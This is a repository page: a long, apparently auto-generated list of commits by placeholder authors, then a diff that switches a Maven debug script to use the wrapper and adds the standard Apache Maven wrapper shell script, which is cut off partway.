Wed May 14 03:28:30 UTC 2025: Commit 11 by Six
Wed May 14 03:31:16 UTC 2025: Commit 12 by <autdwshor6@example.com>
Wed May 14 06:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 06:03:29 UTC 2025: Commit 2 by Six
Wed May 14 06:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 06:09:02 UTC 2025: Commit 4 by Author
Wed May 14 06:11:49 UTC 2025: Commit 5 by Three
Wed May 14 06:14:36 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 06:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 06:20:09 UTC 2025: Commit 8 by Eight
Wed May 14 06:22:56 UTC 2025: Commit 9 by <adwsuthor8@example.com>
Wed May 14 06:25:42 UTC 2025: Commit 10 by Author
Wed May 14 06:28:29 UTC 2025: Commit 11 by One
Wed May 14 06:31:16 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 09:00:43 UTC 2025: Commit 1 by Author
Wed May 14 09:03:30 UTC 2025: Commit 2 by Two
Wed May 14 09:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 09:09:03 UTC 2025: Commit 4 by Author
Wed May 14 09:11:50 UTC 2025: Commit 5 by Four
Wed May 14 09:14:36 UTC 2025: Commit 6 by <author4@example.com>
Wed May 14 09:17:23 UTC 2025: Commit 7 by Author
Wed May 14 09:20:09 UTC 2025: Commit 8 by Seven
Wed May 14 09:22:56 UTC 2025: Commit 9 by <author7@example.com>
Wed May 14 09:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 09:28:29 UTC 2025: Commit 11 by Five
Wed May 14 09:31:16 UTC 2025: Commit 12 by <autdwshor5@example.com>
Wed May 14 12:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 12:03:29 UTC 2025: Commit 2 by Three
Wed May 14 12:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Wed May 14 12:09:02 UTC 2025: Commit 4 by Author
Wed May 14 12:11:49 UTC 2025: Commit 5 by Two
Wed May 14 12:14:36 UTC 2025: Commit 6 by <author2@example.com>
Wed May 14 12:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 12:20:09 UTC 2025: Commit 8 by Five
Wed May 14 12:22:56 UTC 2025: Commit 9 by <autdwshor5@example.com>
Wed May 14 12:25:42 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 12:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 12:31:16 UTC 2025: Commit 12 by <adwsuthor7@example.com>
Wed May 14 15:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 15:03:29 UTC 2025: Commit 2 by Ten
Wed May 14 15:06:15 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed May 14 15:09:02 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 15:11:49 UTC 2025: Commit 5 by Five
Wed May 14 15:14:35 UTC 2025: Commit 6 by <autdwshor5@example.com>
Wed May 14 15:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 15:20:09 UTC 2025: Commit 8 by One
Wed May 14 15:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 15:25:42 UTC 2025: Commit 10 by Author
Wed May 14 15:28:29 UTC 2025: Commit 11 by One
Wed May 14 15:31:15 UTC 2025: Commit 12 by <author1@example.com>
Wed May 14 18:00:42 UTC 2025: Commit 1 by DWSAuthor
Wed May 14 18:03:29 UTC 2025: Commit 2 by Six
Wed May 14 18:06:16 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 14 18:09:02 UTC 2025: Commit 4 by Author
Wed May 14 18:11:49 UTC 2025: Commit 5 by Three
Wed May 14 18:14:35 UTC 2025: Commit 6 by <author3@example.com>
Wed May 14 18:17:22 UTC 2025: Commit 7 by DWSAuthor
Wed May 14 18:20:09 UTC 2025: Commit 8 by One
Wed May 14 18:22:55 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Wed May 14 18:25:42 UTC 2025: Commit 10 by Author
Wed May 14 18:28:29 UTC 2025: Commit 11 by Seven
Wed May 14 18:31:15 UTC 2025: Commit 12 by <author7@example.com>
Wed May 14 21:00:43 UTC 2025: Commit 1 by Author
Wed May 14 21:03:29 UTC 2025: Commit 2 by Two
Wed May 14 21:06:16 UTC 2025: Commit 3 by <author2@example.com>
Wed May 14 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Wed May 14 21:11:49 UTC 2025: Commit 5 by Eight
Wed May 14 21:14:36 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Wed May 14 21:17:23 UTC 2025: Commit 7 by Author
Wed May 14 21:20:09 UTC 2025: Commit 8 by Five
Wed May 14 21:22:56 UTC 2025: Commit 9 by <author5@example.com>
Wed May 14 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Wed May 14 21:28:29 UTC 2025: Commit 11 by Four
Wed May 14 21:31:16 UTC 2025: Commit 12 by <autdwshor4@example.com>
Thu May 15 00:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 00:03:29 UTC 2025: Commit 2 by Three
Thu May 15 00:06:16 UTC 2025: Commit 3 by <dwsauthor3@example.com>
Thu May 15 00:09:03 UTC 2025: Commit 4 by Author
Thu May 15 00:11:49 UTC 2025: Commit 5 by Six
Thu May 15 00:14:36 UTC 2025: Commit 6 by <author6@example.com>
Thu May 15 00:17:23 UTC 2025: Commit 7 by Author
Thu May 15 00:20:09 UTC 2025: Commit 8 by Eight
Thu May 15 00:22:56 UTC 2025: Commit 9 by <author8@example.com>
Thu May 15 00:25:43 UTC 2025: Commit 10 by Author
Thu May 15 00:28:29 UTC 2025: Commit 11 by Four
Thu May 15 00:31:16 UTC 2025: Commit 12 by <author4@example.com>
Thu May 15 03:00:42 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 03:03:29 UTC 2025: Commit 2 by Eight
Thu May 15 03:06:16 UTC 2025: Commit 3 by <adwsuthor8@example.com>
Thu May 15 03:09:02 UTC 2025: Commit 4 by Author
Thu May 15 03:11:49 UTC 2025: Commit 5 by Nine
Thu May 15 03:14:36 UTC 2025: Commit 6 by <author9@example.com>
Thu May 15 03:17:22 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 03:20:09 UTC 2025: Commit 8 by Ten
Thu May 15 03:22:56 UTC 2025: Commit 9 by <autdwshor10@example.com>
Thu May 15 03:25:42 UTC 2025: Commit 10 by Author
Thu May 15 03:28:29 UTC 2025: Commit 11 by Two
Thu May 15 03:31:16 UTC 2025: Commit 12 by <author2@example.com>
Thu May 15 06:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 06:03:30 UTC 2025: Commit 2 by Five
Thu May 15 06:06:17 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 06:09:04 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 06:11:50 UTC 2025: Commit 5 by Eight
Thu May 15 06:14:37 UTC 2025: Commit 6 by <adwsuthor8@example.com>
Thu May 15 06:17:23 UTC 2025: Commit 7 by Author
Thu May 15 06:20:10 UTC 2025: Commit 8 by Two
Thu May 15 06:22:57 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 06:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 06:28:30 UTC 2025: Commit 11 by Ten
Thu May 15 06:31:17 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 09:00:45 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 09:03:32 UTC 2025: Commit 2 by Five
Thu May 15 09:06:19 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 15 09:09:06 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 09:11:53 UTC 2025: Commit 5 by Three
Thu May 15 09:14:39 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 09:17:26 UTC 2025: Commit 7 by Author
Thu May 15 09:20:13 UTC 2025: Commit 8 by Five
Thu May 15 09:22:59 UTC 2025: Commit 9 by <author5@example.com>
Thu May 15 09:25:46 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 09:28:33 UTC 2025: Commit 11 by Ten
Thu May 15 09:31:20 UTC 2025: Commit 12 by <autdwshor10@example.com>
Thu May 15 12:00:43 UTC 2025: Commit 1 by DWSAuthor
Thu May 15 12:03:30 UTC 2025: Commit 2 by Ten
Thu May 15 12:06:17 UTC 2025: Commit 3 by <autdwshor10@example.com>
Thu May 15 12:09:03 UTC 2025: Commit 4 by Author
Thu May 15 12:11:50 UTC 2025: Commit 5 by Seven
Thu May 15 12:14:37 UTC 2025: Commit 6 by <author7@example.com>
Thu May 15 12:17:23 UTC 2025: Commit 7 by Author
Thu May 15 12:20:10 UTC 2025: Commit 8 by Six
Thu May 15 12:22:57 UTC 2025: Commit 9 by <author6@example.com>
Thu May 15 12:25:43 UTC 2025: Commit 10 by Author
Thu May 15 12:28:30 UTC 2025: Commit 11 by Five
Thu May 15 12:31:17 UTC 2025: Commit 12 by <author5@example.com>
Thu May 15 15:00:43 UTC 2025: Commit 1 by Author
Thu May 15 15:03:30 UTC 2025: Commit 2 by One
Thu May 15 15:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 15:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 15:11:50 UTC 2025: Commit 5 by Three
Thu May 15 15:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Thu May 15 15:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 15:20:10 UTC 2025: Commit 8 by Four
Thu May 15 15:22:56 UTC 2025: Commit 9 by <autdwshor4@example.com>
Thu May 15 15:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 15:28:30 UTC 2025: Commit 11 by Nine
Thu May 15 15:31:16 UTC 2025: Commit 12 by <autdwshor9@example.com>
Thu May 15 18:00:43 UTC 2025: Commit 1 by Author
Thu May 15 18:03:29 UTC 2025: Commit 2 by One
Thu May 15 18:06:16 UTC 2025: Commit 3 by <author1@example.com>
Thu May 15 18:09:03 UTC 2025: Commit 4 by Author
Thu May 15 18:11:49 UTC 2025: Commit 5 by Four
Thu May 15 18:14:36 UTC 2025: Commit 6 by <author4@example.com>
Thu May 15 18:17:23 UTC 2025: Commit 7 by Author
Thu May 15 18:20:09 UTC 2025: Commit 8 by Two
Thu May 15 18:22:56 UTC 2025: Commit 9 by <author2@example.com>
Thu May 15 18:25:43 UTC 2025: Commit 10 by Author
Thu May 15 18:28:29 UTC 2025: Commit 11 by Eight
Thu May 15 18:31:16 UTC 2025: Commit 12 by <author8@example.com>
Thu May 15 21:00:43 UTC 2025: Commit 1 by Author
Thu May 15 21:03:29 UTC 2025: Commit 2 by Seven
Thu May 15 21:06:16 UTC 2025: Commit 3 by <author7@example.com>
Thu May 15 21:09:03 UTC 2025: Commit 4 by DWSAuthor
Thu May 15 21:11:49 UTC 2025: Commit 5 by Two
Thu May 15 21:14:36 UTC 2025: Commit 6 by <dwsauthor2@example.com>
Thu May 15 21:17:23 UTC 2025: Commit 7 by DWSAuthor
Thu May 15 21:20:09 UTC 2025: Commit 8 by One
Thu May 15 21:22:56 UTC 2025: Commit 9 by <dwsauthor1@example.com>
Thu May 15 21:25:43 UTC 2025: Commit 10 by DWSAuthor
Thu May 15 21:28:30 UTC 2025: Commit 11 by Three
Thu May 15 21:31:16 UTC 2025: Commit 12 by <dwsauthor3@example.com>
Fri May 16 00:00:42 UTC 2025: Commit 1 by Author
Fri May 16 00:03:29 UTC 2025: Commit 2 by One
Fri May 16 00:06:16 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 00:09:03 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 00:11:49 UTC 2025: Commit 5 by Three
Fri May 16 00:14:36 UTC 2025: Commit 6 by <dwsauthor3@example.com>
Fri May 16 00:17:23 UTC 2025: Commit 7 by Author
Fri May 16 00:20:09 UTC 2025: Commit 8 by Nine
Fri May 16 00:22:56 UTC 2025: Commit 9 by <author9@example.com>
Fri May 16 03:00:22 UTC 2025: Commit 1 by Author
Fri May 16 03:03:08 UTC 2025: Commit 2 by Five
Fri May 16 03:05:55 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 03:08:42 UTC 2025: Commit 4 by Author
Fri May 16 03:11:29 UTC 2025: Commit 5 by One
Fri May 16 03:14:15 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 03:17:02 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 03:19:49 UTC 2025: Commit 8 by Seven
Fri May 16 03:22:35 UTC 2025: Commit 9 by <adwsuthor7@example.com>
Fri May 16 03:25:22 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 03:28:09 UTC 2025: Commit 11 by Nine
Fri May 16 03:30:55 UTC 2025: Commit 12 by <autdwshor9@example.com>
Fri May 16 06:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 06:03:05 UTC 2025: Commit 2 by Two
Fri May 16 06:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Fri May 16 06:08:39 UTC 2025: Commit 4 by Author
Fri May 16 06:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 06:14:12 UTC 2025: Commit 6 by <author9@example.com>
Fri May 16 06:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 06:19:45 UTC 2025: Commit 8 by Ten
Fri May 16 06:22:32 UTC 2025: Commit 9 by <autdwshor10@example.com>
Fri May 16 06:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 06:28:05 UTC 2025: Commit 11 by Five
Fri May 16 06:30:52 UTC 2025: Commit 12 by <autdwshor5@example.com>
Fri May 16 09:00:19 UTC 2025: Commit 1 by Author
Fri May 16 09:03:05 UTC 2025: Commit 2 by One
Fri May 16 09:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 16 09:08:39 UTC 2025: Commit 4 by Author
Fri May 16 09:11:26 UTC 2025: Commit 5 by Four
Fri May 16 09:14:13 UTC 2025: Commit 6 by <author4@example.com>
Fri May 16 09:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 09:19:46 UTC 2025: Commit 8 by Three
Fri May 16 09:22:33 UTC 2025: Commit 9 by <dwsauthor3@example.com>
Fri May 16 09:25:19 UTC 2025: Commit 10 by Author
Fri May 16 09:28:06 UTC 2025: Commit 11 by Nine
Fri May 16 09:30:53 UTC 2025: Commit 12 by <author9@example.com>
Fri May 16 12:00:26 UTC 2025: Commit 1 by Author
Fri May 16 12:03:13 UTC 2025: Commit 2 by Five
Fri May 16 12:05:59 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 12:08:46 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 12:11:33 UTC 2025: Commit 5 by Six
Fri May 16 12:14:19 UTC 2025: Commit 6 by <autdwshor6@example.com>
Fri May 16 12:17:06 UTC 2025: Commit 7 by Author
Fri May 16 12:19:53 UTC 2025: Commit 8 by Six
Fri May 16 12:22:39 UTC 2025: Commit 9 by <author6@example.com>
Fri May 16 12:25:26 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 12:28:13 UTC 2025: Commit 11 by Two
Fri May 16 12:30:59 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 15:00:18 UTC 2025: Commit 1 by Author
Fri May 16 15:03:05 UTC 2025: Commit 2 by Five
Fri May 16 15:05:52 UTC 2025: Commit 3 by <author5@example.com>
Fri May 16 15:08:38 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 15:11:25 UTC 2025: Commit 5 by One
Fri May 16 15:14:12 UTC 2025: Commit 6 by <dwsauthor1@example.com>
Fri May 16 15:16:58 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 15:19:45 UTC 2025: Commit 8 by Five
Fri May 16 15:22:32 UTC 2025: Commit 9 by <autdwshor5@example.com>
Fri May 16 15:25:18 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 15:28:05 UTC 2025: Commit 11 by Two
Fri May 16 15:30:52 UTC 2025: Commit 12 by <dwsauthor2@example.com>
Fri May 16 18:00:18 UTC 2025: Commit 1 by DWSAuthor
Fri May 16 18:03:05 UTC 2025: Commit 2 by Ten
Fri May 16 18:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Fri May 16 18:08:39 UTC 2025: Commit 4 by Author
Fri May 16 18:11:25 UTC 2025: Commit 5 by One
Fri May 16 18:14:12 UTC 2025: Commit 6 by <author1@example.com>
Fri May 16 18:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 18:19:45 UTC 2025: Commit 8 by Two
Fri May 16 18:22:32 UTC 2025: Commit 9 by <dwsauthor2@example.com>
Fri May 16 18:25:19 UTC 2025: Commit 10 by Author
Fri May 16 18:28:05 UTC 2025: Commit 11 by Five
Fri May 16 18:30:52 UTC 2025: Commit 12 by <author5@example.com>
Fri May 16 21:00:18 UTC 2025: Commit 1 by Author
Fri May 16 21:03:05 UTC 2025: Commit 2 by Nine
Fri May 16 21:05:52 UTC 2025: Commit 3 by <author9@example.com>
Fri May 16 21:08:39 UTC 2025: Commit 4 by DWSAuthor
Fri May 16 21:11:25 UTC 2025: Commit 5 by Nine
Fri May 16 21:14:12 UTC 2025: Commit 6 by <autdwshor9@example.com>
Fri May 16 21:16:59 UTC 2025: Commit 7 by DWSAuthor
Fri May 16 21:19:45 UTC 2025: Commit 8 by Six
Fri May 16 21:22:32 UTC 2025: Commit 9 by <autdwshor6@example.com>
Fri May 16 21:25:19 UTC 2025: Commit 10 by DWSAuthor
Fri May 16 21:28:05 UTC 2025: Commit 11 by Eight
Fri May 16 21:30:52 UTC 2025: Commit 12 by <adwsuthor8@example.com>
Sat May 17 00:00:18 UTC 2025: Commit 1 by Author
Sat May 17 00:03:04 UTC 2025: Commit 2 by Three
Sat May 17 00:05:51 UTC 2025: Commit 3 by <author3@example.com>
Sat May 17 00:08:38 UTC 2025: Commit 4 by DWSAuthor
Sat May 17 00:11:25 UTC 2025: Commit 5 by Seven
Sat May 17 00:14:11 UTC 2025: Commit 6 by <adwsuthor7@example.com>
Sat May 17 00:16:58 UTC 2025: Commit 7 by DWSAuthor
Sat May 17 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sat May 17 12:03:05 UTC 2025: Commit 2 by Seven
Sat May 17 12:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Sun May 18 00:00:22 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 00:03:09 UTC 2025: Commit 2 by Two
Sun May 18 00:05:55 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Sun May 18 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Sun May 18 12:03:05 UTC 2025: Commit 2 by Two
Sun May 18 12:05:52 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Mon May 19 00:00:19 UTC 2025: Commit 1 by Author
Mon May 19 00:03:06 UTC 2025: Commit 2 by Nine
Mon May 19 00:05:53 UTC 2025: Commit 3 by <author9@example.com>
Mon May 19 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 19 12:03:04 UTC 2025: Commit 2 by Nine
Mon May 19 12:05:51 UTC 2025: Commit 3 by <autdwshor9@example.com>
Tue May 20 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 00:03:05 UTC 2025: Commit 2 by Seven
Tue May 20 00:05:52 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue May 20 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Tue May 20 12:03:07 UTC 2025: Commit 2 by Six
Tue May 20 12:05:53 UTC 2025: Commit 3 by <autdwshor6@example.com>
Wed May 21 00:00:18 UTC 2025: Commit 1 by Author
Wed May 21 00:03:05 UTC 2025: Commit 2 by Three
Wed May 21 00:05:52 UTC 2025: Commit 3 by <author3@example.com>
Wed May 21 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 21 12:03:05 UTC 2025: Commit 2 by Six
Wed May 21 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu May 22 00:00:18 UTC 2025: Commit 1 by DWSAuthor
Thu May 22 00:03:05 UTC 2025: Commit 2 by Five
Thu May 22 00:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 22 12:00:18 UTC 2025: Commit 1 by Author
Thu May 22 12:03:05 UTC 2025: Commit 2 by Ten
Thu May 22 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Fri May 23 00:00:21 UTC 2025: Commit 1 by Author
Fri May 23 00:03:08 UTC 2025: Commit 2 by Five
Fri May 23 00:05:54 UTC 2025: Commit 3 by <author5@example.com>
Fri May 23 12:00:19 UTC 2025: Commit 1 by Author
Fri May 23 12:03:05 UTC 2025: Commit 2 by Ten
Fri May 23 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Sat May 24 00:00:19 UTC 2025: Commit 1 by Author
Sat May 24 00:03:06 UTC 2025: Commit 2 by Six
Sat May 24 00:05:52 UTC 2025: Commit 3 by <author6@example.com>
Sat May 24 12:00:18 UTC 2025: Commit 1 by Author
Sat May 24 12:03:04 UTC 2025: Commit 2 by Two
Sat May 24 12:05:51 UTC 2025: Commit 3 by <author2@example.com>
Sun May 25 00:00:18 UTC 2025: Commit 1 by Author
Sun May 25 00:03:05 UTC 2025: Commit 2 by Four
Sun May 25 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Sun May 25 12:00:18 UTC 2025: Commit 1 by Author
Sun May 25 12:03:05 UTC 2025: Commit 2 by Two
Sun May 25 12:05:52 UTC 2025: Commit 3 by <author2@example.com>
Mon May 26 00:00:18 UTC 2025: Commit 1 by Author
Mon May 26 00:03:05 UTC 2025: Commit 2 by Seven
Mon May 26 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Mon May 26 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Mon May 26 12:03:05 UTC 2025: Commit 2 by Ten
Mon May 26 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 00:00:19 UTC 2025: Commit 1 by DWSAuthor
Tue May 27 00:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 00:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Tue May 27 12:00:18 UTC 2025: Commit 1 by Author
Tue May 27 12:03:05 UTC 2025: Commit 2 by Ten
Tue May 27 12:05:52 UTC 2025: Commit 3 by <author10@example.com>
Wed May 28 00:00:29 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 00:03:18 UTC 2025: Commit 2 by Two
Wed May 28 00:06:07 UTC 2025: Commit 3 by <dwsauthor2@example.com>
Wed May 28 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Wed May 28 12:03:06 UTC 2025: Commit 2 by Five
Wed May 28 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Thu May 29 00:00:18 UTC 2025: Commit 1 by Author
Thu May 29 00:03:05 UTC 2025: Commit 2 by Nine
Thu May 29 00:05:52 UTC 2025: Commit 3 by <author9@example.com>
Thu May 29 12:00:19 UTC 2025: Commit 1 by Author
Thu May 29 12:03:06 UTC 2025: Commit 2 by Nine
Thu May 29 12:05:53 UTC 2025: Commit 3 by <author9@example.com>
Fri May 30 00:00:18 UTC 2025: Commit 1 by Author
Fri May 30 00:03:05 UTC 2025: Commit 2 by One
Fri May 30 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Fri May 30 12:00:19 UTC 2025: Commit 1 by Author
Fri May 30 12:03:06 UTC 2025: Commit 2 by Three
Fri May 30 12:06:08 UTC 2025: Commit 3 by <author3@example.com>
Sat May 31 00:00:18 UTC 2025: Commit 1 by Author
Sat May 31 00:03:04 UTC 2025: Commit 2 by Four
Sat May 31 00:05:51 UTC 2025: Commit 3 by <author4@example.com>
Sat May 31 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Sat May 31 12:03:05 UTC 2025: Commit 2 by Ten
Sat May 31 12:05:52 UTC 2025: Commit 3 by <autdwshor10@example.com>
Sun Jun 1 00:00:18 UTC 2025: Commit 1 by Author
Sun Jun 1 00:03:05 UTC 2025: Commit 2 by One
Sun Jun 1 00:05:52 UTC 2025: Commit 3 by <author1@example.com>
Sun Jun 1 12:00:19 UTC 2025: Commit 1 by Author
Sun Jun 1 12:03:06 UTC 2025: Commit 2 by One
Sun Jun 1 12:05:52 UTC 2025: Commit 3 by <author1@example.com>
Mon Jun 2 00:00:19 UTC 2025: Commit 1 by Author
Mon Jun 2 00:03:06 UTC 2025: Commit 2 by Ten
Mon Jun 2 00:05:52 UTC 2025: Commit 3 by <author10@example.com>
Mon Jun 2 12:00:20 UTC 2025: Commit 1 by DWSAuthor
Mon Jun 2 12:03:07 UTC 2025: Commit 2 by Seven
Mon Jun 2 12:05:54 UTC 2025: Commit 3 by <adwsuthor7@example.com>
Tue Jun 3 00:00:19 UTC 2025: Commit 1 by Author
Tue Jun 3 00:03:06 UTC 2025: Commit 2 by Four
Tue Jun 3 00:05:52 UTC 2025: Commit 3 by <author4@example.com>
Tue Jun 3 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Tue Jun 3 12:03:05 UTC 2025: Commit 2 by Five
Tue Jun 3 12:05:52 UTC 2025: Commit 3 by <autdwshor5@example.com>
Wed Jun 4 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 00:03:06 UTC 2025: Commit 2 by Ten
Wed Jun 4 00:05:53 UTC 2025: Commit 3 by <autdwshor10@example.com>
Wed Jun 4 12:00:18 UTC 2025: Commit 1 by DWSAuthor
Wed Jun 4 12:03:05 UTC 2025: Commit 2 by Six
Wed Jun 4 12:05:52 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 00:00:20 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 00:03:07 UTC 2025: Commit 2 by Six
Thu Jun 5 00:05:54 UTC 2025: Commit 3 by <autdwshor6@example.com>
Thu Jun 5 12:00:22 UTC 2025: Commit 1 by DWSAuthor
Thu Jun 5 12:03:09 UTC 2025: Commit 2 by Four
Thu Jun 5 12:05:55 UTC 2025: Commit 3 by <autdwshor4@example.com>
Fri Jun 6 00:00:18 UTC 2025: Commit 1 by Author
Fri Jun 6 00:03:05 UTC 2025: Commit 2 by Seven
Fri Jun 6 00:05:52 UTC 2025: Commit 3 by <author7@example.com>
Fri Jun 6 12:00:19 UTC 2025: Commit 1 by DWSAuthor
Fri Jun 6 12:03:06 UTC 2025: Commit 2 by Five
Fri Jun 6 12:05:53 UTC 2025: Commit 3 by <autdwshor5@example.com>

View File

@ -1,2 +1,2 @@
export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000"
mvn $@
./mvnw $@

310
mvnw vendored Executable file
View File

@ -0,0 +1,310 @@
#!/bin/sh
# ----------------------------------------------------------------------------
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
# ----------------------------------------------------------------------------
# ----------------------------------------------------------------------------
# Maven2 Start Up Batch script
#
# Required ENV vars:
# ------------------
# JAVA_HOME - location of a JDK home dir
#
# Optional ENV vars
# -----------------
# M2_HOME - location of maven2's installed home dir
# MAVEN_OPTS - parameters passed to the Java VM when running Maven
# e.g. to debug Maven itself, use
# set MAVEN_OPTS=-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000
# MAVEN_SKIP_RC - flag to disable loading of mavenrc files
# ----------------------------------------------------------------------------
if [ -z "$MAVEN_SKIP_RC" ] ; then
if [ -f /etc/mavenrc ] ; then
. /etc/mavenrc
fi
if [ -f "$HOME/.mavenrc" ] ; then
. "$HOME/.mavenrc"
fi
fi
# OS specific support. $var _must_ be set to either true or false.
cygwin=false;
darwin=false;
mingw=false
case "`uname`" in
CYGWIN*) cygwin=true ;;
MINGW*) mingw=true;;
Darwin*) darwin=true
# Use /usr/libexec/java_home if available, otherwise fall back to /Library/Java/Home
# See https://developer.apple.com/library/mac/qa/qa1170/_index.html
if [ -z "$JAVA_HOME" ]; then
if [ -x "/usr/libexec/java_home" ]; then
export JAVA_HOME="`/usr/libexec/java_home`"
else
export JAVA_HOME="/Library/Java/Home"
fi
fi
;;
esac
if [ -z "$JAVA_HOME" ] ; then
if [ -r /etc/gentoo-release ] ; then
JAVA_HOME=`java-config --jre-home`
fi
fi
if [ -z "$M2_HOME" ] ; then
## resolve links - $0 may be a link to maven's home
PRG="$0"
# need this for relative symlinks
while [ -h "$PRG" ] ; do
ls=`ls -ld "$PRG"`
link=`expr "$ls" : '.*-> \(.*\)$'`
if expr "$link" : '/.*' > /dev/null; then
PRG="$link"
else
PRG="`dirname "$PRG"`/$link"
fi
done
saveddir=`pwd`
M2_HOME=`dirname "$PRG"`/..
# make it fully qualified
M2_HOME=`cd "$M2_HOME" && pwd`
cd "$saveddir"
# echo Using m2 at $M2_HOME
fi
# For Cygwin, ensure paths are in UNIX format before anything is touched
if $cygwin ; then
[ -n "$M2_HOME" ] &&
M2_HOME=`cygpath --unix "$M2_HOME"`
[ -n "$JAVA_HOME" ] &&
JAVA_HOME=`cygpath --unix "$JAVA_HOME"`
[ -n "$CLASSPATH" ] &&
CLASSPATH=`cygpath --path --unix "$CLASSPATH"`
fi
# For Mingw, ensure paths are in UNIX format before anything is touched
if $mingw ; then
[ -n "$M2_HOME" ] &&
M2_HOME="`(cd "$M2_HOME"; pwd)`"
